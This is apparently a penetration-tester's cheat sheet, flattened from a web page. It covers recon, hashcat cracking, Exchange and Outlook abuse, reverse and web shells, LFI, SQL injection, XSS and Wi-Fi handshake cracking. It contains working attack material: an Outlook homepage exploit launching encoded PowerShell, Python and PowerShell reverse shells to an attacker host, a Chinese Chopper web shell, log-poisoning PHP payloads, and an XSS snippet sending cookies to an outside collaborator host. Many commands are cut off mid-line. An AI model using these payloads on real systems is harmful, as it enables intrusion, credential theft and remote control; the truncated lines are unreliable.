https://github.com/laramies/theHarvester
Shodan
https://www.shodan.io/
$ shodan init <API_KEY>
$ shodan count vuln:cve-1984-31337
$ shodan download out.json.gz vuln:cve-1984-31337 [--limit 1000]
$ gzip -d out.json.gz
$ shodan parse out.json --fields=ip_str,port > out.txt
https://weakpass.com/
https://habr.com/ru/company/deiteriylab/blog/584160/
hashcat
Benchmarks:
$ nvidia-smi.exe
# MD5
$ hashcat -m 0 -b
# NTLM
$ hashcat -m 1000 -b
https://github.com/hashcat/hashcat/pull/2607#issuecomment-850653034
// K=MD4(Little_indian(UNICODE(pwd))
w3_t[2] = pw_len * 8 * 2;
w3_t[3] = 0;
digest[0] = MD4M_A;
digest[1] = MD4M_B;
digest[2] = MD4M_C;
digest[3] = MD4M_D;
w0_t[0] = digest[0];
w0_t[1] = digest[1];
w0_t[2] = digest[2];
w0_t[3] = digest[3];
w1_t[0] = 0;
w1_t[1] = 0;
w1_t[2] = 0;
w1_t[3] = 0;
w2_t[0] = 0;
w2_t[1] = 0;
w2_t[2] = 0;
w2_t[3] = 0;
w3_t[0] = 0;
w3_t[1] = 0;
w3_t[2] = 0;
w3_t[3] = 0;
To crack:
Generate Wordlists
hashcat
Potentially valid usernames, John Doe as an example:
https://activedirectorypro.com/active-directory-user-naming-convention/
Common usernames:
root
guest
sa
changeme
password
EOF
Common patterns:
$ for i in $(cat passwords.txt); do echo "${i}"; echo "${i}\!"; echo "${i}2020"; echo "${i}202
$ cp t passwords.txt
kwprocessor
https://github.com/hashcat/kwprocessor
cewl
Perimeter
https://pentest-tools.com/home
https://hackertarget.com/ip-tools/
DNS
$ nslookup example.com
Subdomains & AXFR
AS details
$ whois example.com
$ whois 127.0.0.1
Check for DNS Amplification
Google Dorks
/robots.txt
/sitemap.xml
Autonomous Systems
https://hackware.ru/?p=9245
Info via IP
dig:
whois:
whois:
Search AS
https://radar.qrator.net/search?query=AS31337
https://github.com/nitefood/asn
Map IP addresses to AS by origin and netname with ignoring potentionally unwanted netname values by
keywords:
whois.sh
#!/bin/bash
# Usage: whois.sh ip_list.txt
Difference between as-name, aut-num, origin, netname, etc. may be found on RIPE.
1C
https://t.me/webpwn/280
https://habr.com/ru/post/352566/
https://github.com/KraudSecurity/1C-Exploit-Kit
https://www.rbsoft.ru/kb/upravlenie-spiskami-baz-1s/
$ curl https://<HOSTNAME>/<DB_NAME>/en_US/e1cib/users
$ curl https://<HOSTNAME>/<DB_NAME>/ru_RU/e1cib/users
ADFS
Active Directory Federation Services
Tools
ADFSpray
https://github.com/xFreed0m/ADFSpray
adfsbrute
https://github.com/ricardojoserf/adfsbrute
Cisco
Check manually:
https://cisco.example.com/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resour
https://cisco.example.com/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_in
apcf
app_index.html
appstart.js
appstatus
ask.html
auth.html
blank.html
ced.html
cedf.html
cedhelp.html
cedlogon.html
cedmain.html
cedportal.html
cedsave.html
clear_cache
color_picker.html
color_picker.js
common.js
commonspawn.js
connection_failed_form
cookie
custom
do_url
files
gp-gip.html
help
home
http_auth.html
include
lced.html
localization_inc.lua
logo.gif
logon.html
logon_custom.css
logon_forms.js
logon_redirect.html
logout.html
no_svc.html
noportal.html
nostcaccess.html
ping.html
pluginlib.js
portal.css
portal.html
portal.js
portal_ce.html
portal_custom.css
portal_elements.html
portal_forms.js
portal_img
portal_inc.lua
preview.html
relayjar.html
relaymonjar.html
relaymonocx.html
relayocx.html
sdesktop
sess_update.html
session.js
session_expired
session_password.html
shshim
svc.html
test_chargen
tlbr
tunnel_linux.jnlp
tunnel_mac.jnlp
ucte_forbidden_data
ucte_forbidden_url
user_dialog.html
useralert.html
win.js
wrong_url.html
DNS
Domain Name System
whois
IP/domain info, IP ranges:
dig
General:
https://viewdns.info/reverseip/
Zone transfer:
nslookup
$ nslookup
[> server dns.example.com]
> set q=mx
> example.com
$ nslookup
> set q=ptr
> 127.0.0.1
DNS Amplification
Check:
$ sudo nmap -Pn -sU -sV --script dns-recursion -iL dns.txt -p53
$ for srv in `cat dns.txt`; do sudo nmap -Pn -sU -sV --script dns-recursion $srv -p53 | grep "
Exchange
https://exchangeserverversions.blogspot.com/
https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/
GAL
Ruler
OAB
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/
<Request>
<EMailAddress>[email protected]</EMailAddress>
<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/res
</Request>
</Autodiscover>
Install libmspack:
ActiveSync
PEAS
https://labs.f-secure.com/archive/accessing-internal-fileshares-through-exchange-activesync/
https://labs.f-secure.com/tools/peas-access-internal-fileshares-through-exchange-activesync/
https://github.com/FSecureLABS/peas
https://github.com/snovvcrash/peas
https://github.com/sensepost/thumbscr-ews
Install:
Run:
How-To
1. Use Nmap http-ntlm-info to get NetBIOS domain name and Exchange hostname: hunting for
hostname pattern prefix if there is one.
CVE-2020-0688
https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-
server-through-fixed-cryptographic-keys
https://github.com/pwntester/ysoserial.net/releases
https://github.com/MrTiz9/CVE-2020-0688
NSPI
https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/
https://github.com/ptswarm/impacket
Information Gathering
Google Dorks
site:megacorp.com filetype:(doc | docx | docm | xls | xlsx | xlsm | ppt | pptx | pptm | pdf |
IPSec
IP Security
IKE
https://xakep.ru/2015/05/13/ipsec-security-flaws/
https://book.hacktricks.xyz/pentesting/ipsec-ike-vpn-pentesting
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cracking-ike-missionimprobable-part-
1/
https://github.com/SpiderLabs/ikeforce
Using ikeforce.py :
$ while read t; do (echo "[+] Valid trans-set: $t"; sudo ike-scan -M --trans=$t 10.10.13.37)
Or (for aggressive mode)
$ while read t; do (echo "[+] Valid trans-set: $t"; sudo ike-scan -M -A -P'handshake.txt' -n F
Or
$ sudo python ikeforce.py -s1 -a 10.10.13.37 # -s1 for max speed
$ while read id; do (echo "[+] Valid ID: $id" && sudo ike-scan -M -A -n $id --trans=<TRANSFORM
Or
$ sudo python ikeforce.py 10.10.13.37 -e -w wordlists/groupnames.dic -t <TRANSFORM-SET-IN-SEPA
Dictionaries:
/usr/share/seclists/Miscellaneous/ike-groupid.txt
~/tools/ikeforce/wordlists/groupnames.dic
Java RMI
Java Remote Method Invocation
Enumerate
Check if class loader is enabled:
BaRMIe
https://github.com/NickstaDB/BaRMIe
remote-method-guesser
https://github.com/qtc-de/remote-method-guesser
rmiscout
https://github.com/BishopFox/rmiscout
Lync & Skype for Business
lyncsmash
https://github.com/nyxgeek/lyncsmash
NTP
Network Time Protocol
NTP Amplification
Check:
$ ntpq -c rv 10.10.13.37
Outlook
Ruler
https://github.com/sensepost/ruler/releases
Rules
https://github.com/sensepost/ruler/wiki/Rules
https://silentbreaksecurity.com/malicious-outlook-rules/
Forms
https://github.com/sensepost/ruler/wiki/Forms
https://sensepost.com/blog/2017/outlook-forms-and-shells/
Display forms:
vbs-payload.txt :
Cleanup:
userdomain = 'MEGACORP'
$ python ebowla.py https443.dll genetic.config
$ ./build_x64_go.sh output/go_symmetric_https443.dll.go https443.exe --hidden
Homepage
https://github.com/sensepost/ruler/wiki/Homepage
https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/
Exploit:
homepage.html :
<html>
<head>
<meta http-equiv="Content-Language" content="en-us">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Outlook</title>
<script id=clientEventHandlersVBS language=vbscript>
<!--
Sub window_onload()
Set Application = ViewCtl1.OutlookApplication
Set cmd = Application.CreateObject("Wscript.Shell")
cmd.Run("powershell -exec bypass -e <BASE64_CMD>")
End Sub
-->
</script>
</head>
<body>
<object classid="clsid:0006F063-0000-0000-C000-000000000046" id="ViewCtl1" data="" width="100
</body>
</html>
Cleanup:
OWA
Outlook Web Access
Enumerate Users
https://www.triaxiomsecurity.com/2019/03/15/vulnerability-walkthrough-timing-based-username-
enumeration/
https://www.intruder.io/blog/user-enumeration-in-microsoft-products-an-incident-waiting-to-happen
"Responses in different environments may have different response times but the pattern in the timing
response behavior still exist." (ref)
MSF
MailSniper
https://github.com/dafthack/MailSniper
Password Spray
Ruler
https://github.com/sensepost/ruler/wiki/Brute-Force#brute-force-for-credentials
Notes:
Enumerate NTLM
https://github.com/nyxgeek/ntlmscan
https://gist.github.com/aseering/829a2270b72345a1dc42
Nmap
MSF
MailSniper
https://github.com/dafthack/MailSniper
SharePoint
https://www.crummie5.club/the-lone-sharepoint/
https://www.zerodayinitiative.com/blog/2020/6/16/cve-2020-1181-sharepoint-remote-code-execution-
through-web-parts
SMTP
Simple Mail Transfer Protocol
$ telnet mail.example.com 25
HELO example.com
MAIL FROM: <[email protected]>
RCPT TO: <[email protected]>
RCPT TO: <[email protected]>
$ telnet mail.example.com 25
HELO
MAIL example.com
FROM: <[email protected]>
RCPT TO: <[email protected]>
RCPT TO: <[email protected]>
$ telnet mail.example.com 25
HELO example.com
VRFY [email protected]
EXPN [email protected]
$ telnet mail.example.com 25
HELO example.com
MAIL FROM: <...>
RCPT TO: <[email protected]>
DATA
From: <...>
To: <[email protected]>
Subject: Job offer
Hello, I would like to offer you a great job!
.
QUIT
RCPT
smtp-enum
https://github.com/z0mbiehunt3r/smtp-enum
smtp-user-enum
https://github.com/pentestmonkey/smtp-user-enum
https://postmarkapp.com/guides/spf
https://www.mailigen.ru/blog/chto-takoe-spf-dkim-i-dmarc-i-pochemu-oni-obyazatelno-dolzhny-byt-
propisany/
https://github.com/BishopFox/spoofcheck
Tools
swaks
https://github.com/jetmore/swaks
SSH
Secure Shell
Password spray with a private key and passphrase Passw0rd! using CME:
Enum Users
CVE-2018-15473
Subdomain Takeover
https://www.exploit-db.com/docs/46415
Shells
Upgrade to PTY
https://forum.hackthebox.eu/discussion/comment/22312#Comment_22312
https://xakep.ru/2019/07/16/mischief/#toc05.1
https://securixy.kz/hack-faq/apgrejd-reverse-shell-do-interaktivnogo-tty.html/
https://infosecwriteups.com/using-tmux-for-automating-interactive-reverse-shells-630260740af3
# Spawn PTY
$ if python3 -V > /dev/null 2>&1; then
ShellPop
https://github.com/0x00-0x00/ShellPop
pwncat
https://securixy.kz/hack-faq/pwncat-netcat-na-steroidah.html/
https://github.com/cytopia/pwncat
xxh
https://github.com/xxh/xxh
Reverse Shells
https://securixy.kz/hack-faq/reverse-shell-ili-bjekkonnekt.html/
https://gist.github.com/daniruiz/c073f631d514bf38e516b62c48366efb
Bash
Python
IPv4
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LH
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<
IPv6
import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("<L
import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("<LHOST>"
PowerShell
https://github.com/besimorhino/powercat
https://gist.github.com/staaldraad/8473da7f2dfed28b2216b15ca6ebad11
https://github.com/tihanyin/PSSW100AVB/blob/main/ReverseShell_2022_03.ps1
https://github.com/antonioCoco/ConPtyShell
else{
$res = (&"$out") | out-string;
}
if($res -ne $null){
$writer.WriteLine($res)
}
}
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose()
Download Cradles
https://gist.github.com/HarmJ0y/bb48307ffa663256e239
https://github.com/VirtualAlllocEx/Payload-Download-Cradles
PHP
https://gitlab.com/ORCA666/sshell
Netcat
https://blog.ikuamike.io/posts/2021/netcat/
Meterpreter
unicorn
https://github.com/trustedsec/unicorn
Listeners
https://xakep.ru/2018/09/07/dns-tunneling/
https://habr.com/ru/post/345056/
https://habr.com/ru/company/group-ib/blog/496712/
dnscat2
https://github.com/iagox86/dnscat2
https://github.com/lukebaggett/dnscat2-powershell
chashell
https://github.com/sysdream/chashell
A * -> <IP>
A @ -> <IP>
Get dependencies:
$ export GOPATH=/home/snovvcrash/code/go
$ export PATH=$GOPATH:$GOPATH/bin:$PATH
$ go get -v -u github.com/golang/dep/cmd/dep
$ go get github.com/mitchellh/gox
$ cd $GOPATH/src/github.com/golang/dep
$ go install ./...
Build binaries:
$ cd release/
$ sudo systemctl stop systemd-resolved
$ sudo ./chaserv_linux_amd64
Run client on Victim:
$ ./chashell_linux_amd64
Tools
https://www.revshells.com/
https://itm4n.github.io/tools/
VbRev
https://github.com/VbScrub/VbRev
xc
https://github.com/xct/xc
Listen:
Launch:
Web Shells
PHP
https://stackoverflow.com/a/3697776
ASP
JScript
Chinese chopper:
// Server-side
<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["cmd"],"unsaf
// Client-side
Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c whoami").stdout.readall())
Web
Upgrade Burp
Downloads / Jython
Using Burp's Session Handling Rules with anti-CSRF Tokens - PortSwigger
Burp и его друзья / Блог компании Digital Security / Хабр
Extensions
BApp Store:
ActiveScan++ Pro
J2EEScan Pro
WordPress Scanner
GitHub:
Femida XSS
SHELLING
Burp Vulners Scanner
HackBar
Tools
nikto
https://github.com/sullo/nikto
dnsrecon
https://github.com/darkoperator/dnsrecon
Perform reverse DNS lookup for IPs in subnet 10.10.10.0/24 with a name server at 192.168.1.11 :
gobuster
https://github.com/OJ/gobuster/releases
https://blog.assetnote.io/2021/04/05/contextual-content-discovery/
wfuzz
https://github.com/xmendez/wfuzz
https://wfuzz.readthedocs.io/en/latest/
$ wfuzz -e encoders
$ wfuzz -c -u 'http://10.10.13.37/index.php?id=FUZZ' -w /usr/share/seclists/Fuzzing/4-digits-0
$ wfuzz -c -u 'http://10.10.13.37' --basic 'FUZZ:FUZ2Z' -w /usr/share/seclists/Usernames/top-u
ffuf
https://github.com/ffuf/ffuf
https://codingo.io/tools/ffuf/bounty/2020/09/17/everything-you-need-to-know-about-ffuf.html
aquatone
https://github.com/michenriksen/aquatone/releases
Default ports:
$ ports=`cat nmap/tcp.gnmap | grep -ioP '\d+/open/tcp//http' | awk -F/ '{print $1}' | sort -u
$ cat targets.txt | ./aquatone -ports $ports -out 10.0-255.0-255.0-255_nmap
Or
$ cat nmap/tcp.xml | ./aquatone -out 10.0-255.0-255.0-255_nmap
amass
https://github.com/OWASP/Amass/releases
Об обнаружении субдоменов
snovvcrash@gh-pages:~$ _
$ amass intel -active -config config.ini -whois -df domains.txt -ipv4 -src -v -o intel.out
$ amass enum -active -brute -config config.ini -df domains.txt -ipv4 -src -v -o enum.out
subfinder
https://github.com/projectdiscovery/subfinder/releases
shuffledns
https://github.com/projectdiscovery/shuffledns/releases
massdns
https://github.com/blechschmidt/massdns
https://github.com/vortexau/dnsvalidator
dnsx
https://github.com/projectdiscovery/dnsx
chaos
https://github.com/projectdiscovery/chaos-client
nuclei
https://github.com/projectdiscovery/nuclei/releases
$ nuclei -update-templates
$ nuclei -l domains.txt -t cves/ -o nuclei.out
httpx
https://github.com/projectdiscovery/httpx/releases
2FA Bypass
LFI / RFI
Local / Remote File Inclusion
http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html
/etc/samba/smb.conf :
log level = 3
[share]
comment = TEMP
path = /tmp/smb
writable = no
guest ok = yes
guest only = yes
read only = yes
browsable = yes
directory mode = 0555
force user = nobody
PHP
https://medium.com/bugbountywriteup/bugbounty-journey-from-lfi-to-rce-how-a69afe5a0899
https://outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-part-1
$ nc 127.0.0.1 80
GET /<?php system($_GET['cmd']); ?>
$ curl 'http://127.0.0.1/vuln2.php?id=....//....//....//....//....//var//log//apache2//access
Or
$ curl 'http://127.0.0.1/vuln2.php?id=....//....//....//....//....//proc//self//fd//1&cmd=%2Fb
Error log:
SOP / CORS
Same-Origin Policy / Cross-Origin Resource Sharing
https://portswigger.net/web-security/cors/same-origin-policy
https://portswigger.net/web-security/cors
https://github.com/RUB-NDS/CORStest
CORS Server
An HTTPS server with CORS header accepting connections from any domain in Flask:
cors.py
from flask import Flask, send_file
from flask_cors import CORS
app = Flask(__name__)
CORS(app)
@app.route('/xss.js', methods=['GET'])
def xss():
return send_file('./xss.js', download_name='xss.js')
# openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365
app.run(host='0.0.0.0', port=443, ssl_context=('cert.pem', 'key.pem'))
SQLi
SQL Injection
MySQL
DIOS
https://defcon.ru/web-security/2320/
http://www.securityidiots.com/Web-Pentest/SQL-Injection/Dump-in-One-Shot-part-1.html
https://dba.stackexchange.com/questions/4169/how-to-use-variables-inside-a-select-sql-server
https://www.mssqltips.com/sqlservertip/6038/sql-server-derived-table-example/
id=1' UNION SELECT 1,(SELECT (@a) FROM (SELECT (@a:=0x00),(SELECT (@a) FROM (information_schem
id=1' UNION SELECT 1,(SELECT (@a) FROM (SELECT (@a:=0x00),(SELECT (@a) FROM (mytable.users) WH
Truncation Attack
name=snovvcrash&email=admin%example.com++++++++++11&password=qwe12345
id=-1' UNION SELECT * FROM (SELECT 1)a JOIN (SELECT table_name from mysql.innodb_table_stats)b
Write File
Read File
MS SQL
https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
https://perspectiverisk.com/mssql-practical-injection-cheat-sheet/
sqlmap
Usage · sqlmapproject/sqlmap Wiki
PayloadsAllTheThings/SQL Injection
Write file:
Test WAF:
https://www.1337pwn.com/use-sqlmap-to-bypass-cloudflare-waf-and-hack-website-with-sql-injection/
WAF
Enum WAF:
WordPress
https://www.hackingarticles.in/wordpress-reverse-shell/
Malicious Plugin
Write a web shell with a malicious plugin.
$ cp /usr/share/seclists/Web-Shells/WordPress/plugin-shell.php .
$ zip plugin-shell.zip plugin-shell.php
Upload plugin-shell.zip (Plugins > Add New) and install it (Upload Plugin > Browse... > Install Now)
b td t ti t ! N th b h ll
$ curl 'http://10.10.13.37/wp-content/plugins/plugin-shell/plugin-shell.php?cmd=whoami'
wpscan
https://github.com/wpscanteam/wpscan
https://wpscan.com/profile
XSS
Cross-Site Scripting
Redirections
https://developer.mozilla.org/ru/docs/Web/HTTP/Redirections
<head>
<meta http-equiv="refresh" content="0; URL=http://www.example.com/" />
</head>
Data Grabbers
Cookies
https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies
Img tag:
<script>
fetch('https://<SESSION>.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>
XMLHttpRequest
XSS to LFI
https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html
<script>
var xhr = new XMLHttpRequest;
xhr.onload = function() {
document.write(this.responseText);
};
xhr.open("GET", "file:///etc/passwd");
xhr.send();
</script>
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText);};x.open("G
XSS to CSRF
https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf
<script>
var xhr;
if (window.XMLHttpRequest) {
xhr = new XMLHttpRequest();
} else {
xhr = new ActiveXObject("Microsoft.XMLHTTP");
}
xhr.open("POST", "/backdoor.php");
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("cmd=powershell -enc ...");
</script>
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('GET', '/email', true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('POST', '/email/change-email', true);
changeReq.send('csrf='+token+'&[email protected]')
};
</script>
Wi-Fi
https://www.aircrack-ng.org/doku.php?id=newbie_guide
https://defkey.com/airodump-ng-shortcuts
https://xakep.ru/2020/01/27/wifi-total-pwn/
https://github.com/aircrack-ng/rtl8188eus/tree/v5.3.9
https://codeby.net/threads/gajd-2020-po-zapusku-rezhima-monitora-v-tp-link-tl-wn722n-v2-v3-kali-linux-
wardriving.70594/
$ uname -r
5.8.0-kali2-amd64
$ sudo -i
# echo "blacklist r8188eu" >> "/etc/modprobe.d/realtek.conf"
# git clone https://github.com/aircrack-ng/rtl8188eus/tree/v5.3.9 /opt/rtl8188eus && cd /opt/
# make && make install
# reboot
https://github.com/aircrack-ng/rtl8812au
Prologue
Install stuff:
Make sure lsusb can see the wireless adapters (it would show the chipset):
$ lsusb
Bus 001 Device 003: ID 2357:010c TP-Link TL-WN722N v2/v3 [Realtek RTL8188EUS]
Bus 001 Device 010: ID 0bda:8812 Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R D
$ ifconfig
$ iwconfig
$ iw dev
Undo:
Undo:
Or do it with airmon-ng:
In fact, that does not need to be done as airodump-ng can put the wireless card into monitor mode
automatically:
$ macchanger -s wlan1
Misc
WLAN channels
https://en.wikipedia.org/wiki/List_of_WLAN_channels
Could not load image
Signal Strength
https://eyesaas.com/wi-fi-signal-strength/
WPA / WPA2
Enterprise
Wi-Fi Protected Access Enterprise
https://medium.com/@adam.toscher/top-5-ways-i-gained-access-to-your-corporate-wireless-network-
lo0tbo0ty-karma-edition-f72e7995aef2
https://solstice.sh/iii-eap-downgrade-attacks/
hostapd-wpe
https://pentest.blog/attacking-wpa-enterprise-wireless-network/
https://teckk2.github.io/wifi%20pentesting/2018/08/09/Cracking-WPA-WPA2-Enterprise.html
https://codeby.net/threads/vzlom-wpa-2-enterprise-s-pomoschju-ataki-evil-twin.59920/
1. Install dependencies:
apd_launchpad
https://github.com/WJDigby/apd_launchpad
https://www.c0d3xpl0it.com/2017/03/enterprise-wifi-hacking-with-hostapd-wpe.html
EAPHammer
https://github.com/s0lst1c3/eaphammer
Setup:
Create a certificate:
$ sudo ./eaphammer --bssid 1C:7E:E5:97:79:B1 --essid Example --channel 1 --interface wlan1 --a
Personal
Wi-Fi Protected Access Personal
4-Way Handshake
https://www.wifi-professionals.com/2019/01/4-way-handshake
https://security.stackexchange.com/questions/66008/how-exactly-does-4-way-handshake-cracking-work
https://www.aircrack-ng.org/doku.php?id=cracking_wpa
https://security.stackexchange.com/questions/111527/no-handshake-recorded-from-airodump-ng
https://hackware.ru/?p=74
https://hackware.ru/?p=7542
https://hackware.ru/?p=5209
1. Look for targets. Save BSSID ( 00:00:00:00:00:01 ), CH ( 9 ), ESSID ( SomeEssid ) and STATION
( 00:00:00:00:00:02 ) if deauth will be required:
$ sudo airodump-ng -M -U wlan1 [-c 36-165 (for 5GHz, see WLAN channels) or just -c 1-200 for a
qq
3. Send DeAuth packets in a separate terminal till WPA handshake: XX:XX:XX:XX:XX:XX appears
(aggressive):
4. Clean the capture, check it once again, covert to Hashcat format and crack it:
$ aircrack-ng SomeEssid*.cap
$ wpaclean SomeEssid-cleaned.cap SomeEssid-01.cap
$ cowpatty -r SomeEssid-cleaned.cap -s SomeEssid -c
